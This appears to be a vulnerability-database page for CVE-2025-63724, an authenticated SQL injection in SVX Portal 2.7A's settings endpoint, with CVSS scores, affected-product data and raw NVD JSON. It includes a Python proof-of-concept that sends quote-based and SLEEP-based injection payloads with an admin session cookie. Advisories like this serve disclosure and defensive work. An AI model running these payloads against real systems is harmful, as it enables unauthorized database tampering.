Security Vulnerability Report
中文
CVE-2025-63724 CVSS 6.0 MEDIUM

CVE-2025-63724

Published: 2025-11-14 18:15:51
Last Modified: 2026-01-12 17:42:52

Description

SQL injection (SQL-i) vulnerability in SVX Portal 2.7A via crafted POST request to admin/update_setings.php.

CVSS Details

CVSS Score
6.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:radioinorr:svx_portal:2.7a:*:*:*:*:*:*:* - VULNERABLE
SVX Portal 2.7A

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63724 SQL Injection PoC for SVX Portal 2.7A # Target: admin/update_setings.php # Authentication required with admin privileges def exploit_sqli(target_url, session_cookie): """ Exploit SQL injection in SVX Portal 2.7A Args: target_url: Base URL of SVX Portal session_cookie: Valid admin session cookie Returns: bool: True if injection successful, False otherwise """ # Target endpoint endpoint = f"{target_url}/admin/update_setings.php" # Headers with authentication cookie headers = { 'Cookie': session_cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # SQL Injection payload - extracts database version # Using UNION-based injection payload = { 'setting_name': "test'", 'setting_value': "value" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql syntax', 'mysql', 'warning', 'error', 'sqlite', 'postgresql']): print("[+] SQL Injection vulnerability confirmed!") print(f"[+] Response length: {len(response.text)}") return True # Blind SQL injection test using time-based approach blind_payload = { 'setting_name': "test' AND (SELECT 1 FROM (SELECT SLEEP(5))x) AND '1'='1", 'setting_value': "value" } import time start = time.time() blind_response = requests.post(endpoint, data=blind_payload, headers=headers, timeout=15) elapsed = time.time() - start if elapsed >= 5: print("[+] Blind SQL Injection confirmed via time-based check") return True except requests.exceptions.Timeout: print("[+] Time-based SQL Injection confirmed (timeout occurred)") return True except Exception as e: print(f"[-] Error: {e}") return False return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python3 {sys.argv[0]} <target_url> <session_cookie>") print("Example: python3 exploit.py http://target.com 'PHPSESSID=abc123'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-63724 in SVX Portal 2.7A") exploit_sqli(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63724", "sourceIdentifier": "[email protected]", "published": "2025-11-14T18:15:50.870", "lastModified": "2026-01-12T17:42:51.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection (SQL-i) vulnerability in SVX Portal 2.7A via crafted POST request to admin/update_setings.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:L", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:radioinorr:svx_portal:2.7a:*:*:*:*:*:*:*", "matchCriteriaId": "6D2BB38A-870F-42D5-8C11-0F830F33ECB8"}]}]}], "references": [{"url": "https://deepstrike.io/blog/sql-injection-in-svx-portal-v-2-7A", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}